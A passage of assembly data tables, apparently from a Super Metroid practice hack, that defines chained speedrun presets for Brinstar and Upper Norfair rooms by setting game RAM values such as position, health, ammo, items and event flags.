$008B ; Samus Y dl $7ED872 : db $02 : dw $040F ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0042 ; Events, Items, Doors dl $7ED91A : db $02 : dw $000E ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_dachora_room: dw #preset_100early_brinstar_reverse_mockball ; Brinstar: Reverse Mockball dl $7E078D : db $02 : dw $8D4E ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $9AD9 ; MDB dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $061A ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $000F ; Missiles dl $7E09C8 : db $02 : dw $0014 ; Max missiles dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0056 ; Samus X dl $7E0AFA : db $02 : dw $068B ; Samus Y dl $7ED870 : db $02 : dw $8180 ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0046 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0011 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_big_pink: dw #preset_100early_brinstar_dachora_room ; Brinstar: Dachora Room dl $7E078D : db $02 : dw $8CE2 ; DDB dl $7E078F : db $02 : dw $0005 ; DoorOut Index dl $7E079B : db $02 : dw $9CB3 ; MDB dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0600 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $008B ; Health dl $7E0AF6 : db $02 : dw $06A3 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_brinstar_green_hill_zone: dw #preset_100early_brinstar_big_pink ; Brinstar: Big Pink dl $7E078D : db $02 : dw $8DAE ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $9D19 ; MDB dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels dl $7E0913 : db $02 : dw $73FF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0617 ; Screen Y position in pixels dl $7E09A6 : db $02 : dw $1000 ; Beams dl $7E09A8 : db $02 : dw $1000 ; Beams dl $7E09CA : db $02 : dw $0002 ; Supers dl $7E0AF6 : db $02 : dw $0382 ; Samus X dl $7E0AFA : db $02 : dw $068B ; Samus Y dl $7ED872 : db $02 : dw $048F ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0246 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0014 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_red_tower: dw #preset_100early_brinstar_green_hill_zone ; Brinstar: Green Hill Zone dl $7E078D : db $02 : dw $8E92 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $9FBA ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $7000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E0AF6 : db $02 : dw $0568 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED8B6 : db $02 : dw $0008 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0015 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_skree_boost: dw #preset_100early_brinstar_red_tower ; Brinstar: Red Tower dl $7E078D : db $02 : dw $8F0A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A253 ; MDB dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $091A ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $0066 ; Samus X dl $7E0AFA : db $02 : dw $098B ; Samus Y dw #$FFFF .after preset_100early_brinstar_kraid_entry: dw #preset_100early_brinstar_skree_boost ; Brinstar: Skree Boost dl $7E078D : db $02 : dw $A348 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $CF80 ; MDB dl $7E079F : db $02 : dw $0004 ; Region dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09A6 : db $02 : dw $1004 ; Beams dl $7E09A8 : db $02 : dw $1004 ; Beams dl $7E09C2 : db $02 : dw $008C ; Health dl $7E0AF6 : db $02 : dw $0050 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED874 : db $02 : dw $0404 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $8008 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0016 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_kraid: dw #preset_100early_brinstar_kraid_entry ; Brinstar: Kraid Entry dl $7E078D : db $02 : dw $919E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A56B ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E07F3 : db $02 : dw $0027 ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $3800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0062 ; Health dl $7E09C6 : db $02 : dw $000D ; Missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0AF6 : db $02 : dw $01C0 ; Samus X dl $7ED8B8 : db $02 : dw $0024 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0017 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_leaving_varia: dw #preset_100early_brinstar_kraid ; Brinstar: Kraid dl $7E078D : db $02 : dw $91DA ; DDB dl $7E079B : db $02 : dw $A6E2 ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $1C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $1005 ; Equipped Items dl $7E09A4 : db $02 : dw $1005 ; Collected Items dl $7E09C2 : db $02 : dw $00A1 ; Health dl $7E09C6 : db $02 : dw $0011 ; Missiles dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0078 ; Samus X dl $7E0AFA : db $02 : dw $0088 ; Samus Y dl $7ED828 : db $02 : dw $0104 ; Events, Items, Doors dl $7ED876 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED8B8 : db $02 : dw $0064 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0018 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_leaving_kraid_hallway: dw #preset_100early_brinstar_leaving_varia ; Brinstar: Leaving Varia dl $7E078D : db $02 : dw $91AA ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A521 ; MDB dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0099 ; Health dl $7E09C6 : db $02 : dw $0010 ; Missiles dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0087 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED8B8 : db $02 : dw $00EC ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_leaving_kraid_etank: dw #preset_100early_brinstar_leaving_kraid_hallway ; Brinstar: Leaving Kraid Hallway dl $7E078D : db $02 : dw $914A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A4B1 ; MDB dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $1C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $012B ; Health dl $7E09C4 : db $02 : dw $012B ; Max helath dl $7E09D6 : db $02 : dw $0014 ; Reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $008D ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dl $7ED874 : db $02 : dw $0C04 ; Events, Items, Doors dl $7ED8B8 : db $02 : dw $00EF ; Events, Items, Doors dl $7ED91A : db $02 : dw $001A ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_business_center: dw #preset_100early_brinstar_leaving_kraid_etank ; Brinstar: Leaving Kraid E-Tank dl $7E078D : db $02 : dw $9246 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $A7DE ; MDB dl $7E079F : db $02 : dw $0002 ; Region dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers dl $7E07F3 : db $02 : dw $0015 ; Music Bank dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0238 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $0012 ; Missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $02A8 ; Samus Y dw #$FFFF .after preset_100early_upper_norfair_hijump: dw #preset_100early_upper_norfair_business_center ; Upper Norfair: Business Center dl $7E078F : db $02 : dw $0005 ; DoorOut Index dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position. dl $7E0915 : db $02 : dw $051B ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0046 ; Samus X dl $7E0AFA : db $02 : dw $058B ; Samus Y dl $7ED8B8 : db $02 : dw $20EF ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_business_center_climb: dw #preset_100early_upper_norfair_hijump ; Upper Norfair: Hi-Jump dl $7E078D : db $02 : dw $93F6 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $AA41 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $9400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $1105 ; Equipped Items dl $7E09A4 : db $02 : dw $1105 ; Collected Items dl $7E09C2 : db $02 : dw $018F ; Health dl $7E09C4 : db $02 : dw $018F ; Max helath dl $7E09C6 : db $02 : dw $0017 ; Missiles dl $7E09C8 : db $02 : dw $0019 ; Max missiles dl $7E09D6 : db $02 : dw $0028 ; Reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $01A3 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED876 : db $02 : dw $01A1 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $0001 ; Events, Items, Doors dl $7ED91A : db $02 : dw $001F ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_precathedral: dw #preset_100early_upper_norfair_business_center_climb ; Upper Norfair: Business Center Climb dl $7E078D : db $02 : dw $941A ; DDB dl $7E079B : db $02 : dw $A7DE ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $BFFF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $02F6 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $00AB ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dw #$FFFF .after preset_100early_upper_norfair_cathedral: dw #preset_100early_upper_norfair_precathedral ; Upper Norfair: Pre-Cathedral dl $7E078D : db $02 : dw $92CA ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A7B3 ; MDB dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $A000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0001 ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0002 ; Supers dl $7E0AF6 : db $02 : dw $02A4 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8B8 : db $02 : dw $24EF ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_rising_tide: dw #preset_100early_upper_norfair_cathedral ; Upper Norfair: Cathedral dl $7E078D : db $02 : dw $92B2 ; DDB dl $7E079B : db $02 : dw $A788 ; MDB dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $2800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0167 ; Health dl $7E09C6 : db $02 : dw $001D ; Missiles dl $7E09C8 : db $02 : dw $001E ; Max missiles dl $7E09CA : db $02 : dw $0001 ; Supers dl $7E0AF6 : db $02 : dw $02BB ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED876 : db $02 : dw $01A3 ; Events, Items, Doors dl $7ED8B8 : db $02 : dw $26EF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0020 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_bubble_mountain: dw #preset_100early_upper_norfair_rising_tide ; Upper Norfair: Rising Tide dl $7E078D : db $02 : dw $929A ; DDB dl $7E079B : db $02 : dw $AFA3 ; MDB dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $1000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0142 ; Health dl $7E0AF6 : db $02 : dw $04B0 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_upper_norfair_bat_cave: dw #preset_100early_upper_norfair_bubble_mountain ; Upper Norfair: Bubble Mountain dl $7E078D : db $02 : dw $973E ; DDB dl $7E079B : db $02 : dw $ACB3 ; MDB dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0003 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $015B ; Health dl $7E0AF6 : db $02 : dw $01BE ; Samus X dl $7ED8BA : db $02 : dw $0011 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0021 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_leaving_speed_booster: dw #preset_100early_upper_norfair_bat_cave ; Upper Norfair: Bat Cave dl $7E078D : db $02 : dw $95B2 ; DDB dl $7E079B : db $02 : dw $AD1B ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $3105 ; Equipped Items dl $7E09A4 : db $02 : dw $3105 ; Collected Items dl $7E09C2 : db $02 : dw $0179 ; Health dl $7E09C8 : db $02 : dw $0023 ; Max missiles dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0045 ; Samus X dl $7ED878 : db $02 : dw $0006 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $0031 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0023 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_single_chamber: dw #preset_100early_upper_norfair_leaving_speed_booster ; Upper Norfair: Leaving Speed Booster dl $7E078D : db $02 : dw $97AA ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $ACB3 ; MDB dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0104 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $018A ; Health dl $7E09C6 : db $02 : dw $0021 ; Missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E09D6 : db $02 : dw $003A ; Reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $01AD ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED822 : db $02 : dw $0020 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0025 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_double_chamber: dw #preset_100early_upper_norfair_single_chamber ; Upper Norfair: Single Chamber dl $7E078D : db $02 : dw $9582 ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $AD5E ; MDB dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $FC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0126 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $001F ; Missiles dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E0AF6 : db $02 : dw $00B8 ; Samus X dl $7ED8BA : db $02 : dw $0071 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_double_chamber_revisited: dw #preset_100early_upper_norfair_double_chamber ; Upper Norfair: Double Chamber dl $7E078D : db $02 : dw $961E ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $ADDE ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A6 : db $02 : dw $1005 ; Beams dl $7E09A8 : db $02 : dw $1005 ; Beams dl $7E09C6 : db $02 : dw $0024 ; Missiles dl $7E09C8 : db $02 : dw $0028 ; Max missiles dl $7E09CA : db $02 : dw $0002 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $004F ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED878 : db $02 : dw $001E ; Events, Items, Doors dl $7ED8BA : db $02 : dw $00F1 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0027 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_bubble_mountain_revisited: dw #preset_100early_upper_norfair_double_chamber_revisited ; Upper Norfair: Double Chamber Revisited dl $7E078D : db $02 : dw $9606 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $AD5E ; MDB dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $F800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001B ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $018F ; Health dl $7E0AF6 : db $02 : dw $008F ; Samus X dl $7ED91A : db $02 : dw $0028 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_red_pirate_shaft: dw #preset_100early_upper_norfair_bubble_mountain_revisited ; Upper Norfair: Bubble Mountain Revisited dl $7E078D : db $02 : dw $956A ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $AF72 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $E000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $00ED ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E09D6 : db $02 : dw $0053 ; Reserves dl $7E0AF6 : db $02 : dw $005B ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED91A : db $02 : dw $0029 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_crocomire: dw #preset_100early_upper_norfair_red_pirate_shaft ; Upper Norfair: Red Pirate Shaft dl $7E078D : db $02 : dw $974A ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A923 ; MDB dl $7E0911 : db $02 : dw $0C00 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $018D ; Health dl $7E09CA : db $02 : dw $0002 ; Supers dl $7E0AF6 : db $02 : dw $0CD0 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED8B8 : db $02 : dw $66EF ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_postcrocomire: dw #preset_100early_upper_norfair_crocomire ; Upper Norfair: Crocomire dl $7E078D : db $02 : dw $93D2 ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $A98D ; MDB dl $7E07C3 : db $02 : dw $FE2A ; GFX Pointers dl $7E07C5 : db $02 : dw $98BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B7 ; GFX Pointers dl $7E07F3 : db $02 : dw $0027 ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $017B ; Screen X position in pixels dl $7E0913 : db $02 : dw $3800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $01F3 ; Health dl $7E09C4 : db $02 : dw $01F3 ; Max helath dl $7E09C6 : db $02 : dw $0028 ; Missiles dl $7E09CA : db $02 : dw $0002 ; Supers dl $7E09D6 : db $02 : dw $0064 ; Reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0217 ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dl $7ED82A : db $02 : dw $0002 ; Events, Items, Doors dl $7ED876 : db $02 : dw $01B3 ; Events, Items, Doors dl $7ED91A : db $02 : dw $002A ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_leaving_power_bombs: dw #preset_100early_upper_norfair_postcrocomire ; Upper Norfair: Post-Crocomire dl $7E078D : db $02 : dw $943E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $AADE ; MDB dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E07F3 : db $02 : dw $0015 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $01A2 ; Health dl $7E09CA : db $02 : dw $0001 ; Supers dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E09D0 : db $02 : dw $0005 ; Max pbs dl $7E0AF6 : db $02 : dw $00A7 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED876 : db $02 : dw $03B3 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $00F3 ; Events, Items, Doors dl $7ED91A : db $02 : dw $002B ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_postcrocomire_jump_room: dw #preset_100early_upper_norfair_leaving_power_bombs ; Upper Norfair: Leaving Power Bombs dl $7E078D : db $02 : dw $944A ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $AB07 ; MDB dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $041F ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $00AB ; Samus X dl $7E0AFA : db $02 : dw $04BB ; Samus Y dw #$FFFF .after preset_100early_upper_norfair_leaving_grapple: dw #preset_100early_upper_norfair_postcrocomire_jump_room ; Upper Norfair: Post-Crocomire Jump Room dl $7E078D : db $02 : dw $94DA ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $AC2B ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $F000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $7105 ; Equipped Items dl $7E09A4 : db $02 : dw $7105 ; Collected Items dl $7E09C2 : db $02 : dw $01B6 ; Health dl $7E09CE : db $02 : dw $0004 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0055 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED876 : db $02 : dw $13B3 ; Events, Items, Doors dl $7ED91A : db $02 : dw $002D ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_postcrocomire_missiles: dw #preset_100early_upper_norfair_leaving_grapple ; Upper Norfair: Leaving Grapple dl $7E078D : db $02 : dw $94CE ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $AB07 ; MDB dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $B781 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $02F4 ; Screen Y position in pixels dl $7E09C8 : db $02 : dw $002D ; Max missiles dl $7E0AF6 : db $02 : dw $00BB ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED876 : db $02 : dw $1BB3 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $00F7 ; Events, Items, Doors dl $7ED91A : db $02 : dw $002E ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_crocomire_revisit: dw #preset_100early_upper_norfair_postcrocomire_missiles ; Upper Norfair: Post-Crocomire Missiles dl $7E078D : db $02 : dw $947A ; DDB dl $7E079B : db $02 : dw $AA82 ; MDB dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E090F : db $02 : dw $3D00 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $6C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $016A ; Health 